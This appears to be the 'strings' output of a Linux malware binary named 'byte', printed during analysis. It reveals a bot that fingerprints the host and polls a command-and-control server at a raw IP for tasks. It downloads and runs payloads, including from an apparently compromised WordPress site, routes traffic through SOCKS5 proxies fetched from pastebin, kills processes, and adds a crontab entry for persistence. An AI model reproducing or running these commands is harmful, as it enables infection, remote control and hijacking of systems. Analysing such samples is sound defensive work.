strings ./research/byte
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
exit
fopen
strtok
fgets
fclose
strcat
remove
system
sleep
__libc_start_main
GLIBC_2.2.5
=@)
H-(.`
fff.
curl
 --c
onne
ct-t
imeo
ut 1
0 -o
 tem
plis
tge.
txt
"htt
p://
91.2
15.1
53.5
5/no
vys/
che.
php?
suid
curl
 --c
onne
ct-t
imeo
ut 1
0 -o
 com
m.ph
p "h
ttp:
//91
.215
.153
.55/
novy
s/co
mm.p
hp?s
uid=H
curl
 --c
onne
ct-t
imeo
ut 1
0 -o
 con
fig.
json
 "ht
tp:/
/91.
215.
153.
55/n
ovys
/com
mand
.php
?sui
var4
=$(c
at n
amic
.txt
) &&
 var
5=$(
cat
link
.txt
) &&
 chm
od 0
777
$var
4 ||
 cur
l --
sockH
curl
 --c
onne
ct-t
imeo
ut 1
0 "h
ttp:
//91
.215
.153
.55/
novy
s/bt
.php
?suiH
curl
 --c
onne
ct-t
imeo
ut 1
0 "h
ttp:
//91
.215
.153
.55/
novy
s/bt
.php
?suiH
curl
 --c
onne
ct-t
imeo
ut 1
0 "h
ttp:
//91
.215
.153
.55/
novy
s/bt
.php
?suiH
byte
chmo
d 07H
chmo
d 07H
chmo
d 07H
$PWD
echo
 "*/
4 *
* *
* pi
dof H
fffff.
l$ L
t$(L
|$0H
(cat /var/lib/dbus/machine-id || ifconfig | grep HWaddr || uname -a || lspci ) | md5sum |cut -d" " -f1 > udic
curl --connect-timeout 10 -o mip inet-ip.info || curl --connect-timeout 10 -o mip icanhazip.com || curl --connect-timeout 10 -o mip ifconfig.co
wprx
udic
" || curl --connect-timeout 10 --socks5
 -o templistge.txt "http://91.215.153.55/novys/che.php?suid=
grep -q "minwor" "templistge.txt"; if [ $? -eq 0 ]; then rm templistge.txt && touch minr_here.txt; else rm templistge.txt; fi
 -o comm.php "http://91.215.153.55/novys/comm.php?suid=
grep -q "download" "comm.php"; if [ $? -eq 0 ]; then touch download.txt; fi
grep -q "imnewww" "comm.php"; if [ $? -eq 0 ]; then touch imnew.txt; fi
grep -q "tasks" "comm.php"; if [ $? -eq 0 ]; then touch ntastk.txt; fi
rm config.json
 -o config.json "http://91.215.153.55/novys/command.php?suid=
var2=$(grep -Eio "[^download(].*[^)]" "comm.php") && echo $var2>link.txt && var3=$(grep -Eio "[^/]*$" "link.txt") && echo $var3>namic.txt
var4=$(cat namic.txt) && var=$(pidof $var4) && echo $var>pidi.txt && var2=$(cat pidi.txt) && kill 9 $var2 && rm pidi.txt
var4=$(cat namic.txt) && var5=$(cat link.txt) && chmod 0777 $var4 || curl -o $var4 $var5 && chmod 0777 $var4
 -o $var4 $var5 && chmod 0777 $var4
var4=$(cat namic.txt) && $PWD/$var4 > /dev/null > /dev/null &
rm link* namic* mip* comm* udic* pidi.txt
var2=$(grep -Eio "[^tasks(].*[^)]" "comm.php") && $var2
minr_here.txt
 "http://91.215.153.55/novys/bt.php?suid=
rm mip* udic*
imnew.txt
cat /proc/version | sed 's/ /+/g' | sed 's/#/%23/g' > osixs
osixs
&os=
&myip=
rm comm* mip* udic* osixs*
download.txt
ntastk.txt
rm comm* mip* udic*
 || wget http://migdalworld.org/wp-includes/images/media/mi/novys/
 && chmod 0777
 || curl --connect-timeout 10 -o
 http://migdalworld.org/wp-includes/images/media/mi/novys/
 || var=$(cat wprx) && curl --connect-timeout 10 --socks5 $var -o
 > /dev/null > /dev/null &
 || exec $PWD/
 >/dev/null 2>&1 &" | crontab -
curl -V;if [ $? -eq 0 ]; then touch curn.txt;fi;
curl -o prx http://pastebin.com/raw/bzqUHJg9 ;shuf -n 1 prx > wprx;rm prx;
rm wprx;
curn.txt
GCC: (Gentoo 4.3.2-r3 p1.6, pie-10.1.5) 4.3.2
GCC: (Gentoo 4.3.2-r3 p1.6, pie-10.1.5) 4.3.2
GCC: (Gentoo 4.3.2-r3 p1.6, pie-10.1.5) 4.3.2
.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.ctors
.dtors
.jcr
.dynamic
.got
.got.plt
.data
.bss
.comment
_GLOBAL_OFFSET_TABLE_
__init_array_end
__init_array_start
_DYNAMIC
data_start
__libc_csu_fini
_start
__gmon_start__
_Jv_RegisterClasses
exit@@GLIBC_2.2.5
_fini
fopen@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
system@@GLIBC_2.2.5
fgets@@GLIBC_2.2.5
_IO_stdin_used
__data_start
wget
curl
sleep@@GLIBC_2.2.5
strcat@@GLIBC_2.2.5
__dso_handle
__DTOR_END__
__libc_csu_init
__bss_start
strtok@@GLIBC_2.2.5
_end
fclose@@GLIBC_2.2.5
remove@@GLIBC_2.2.5
_edata
main
_init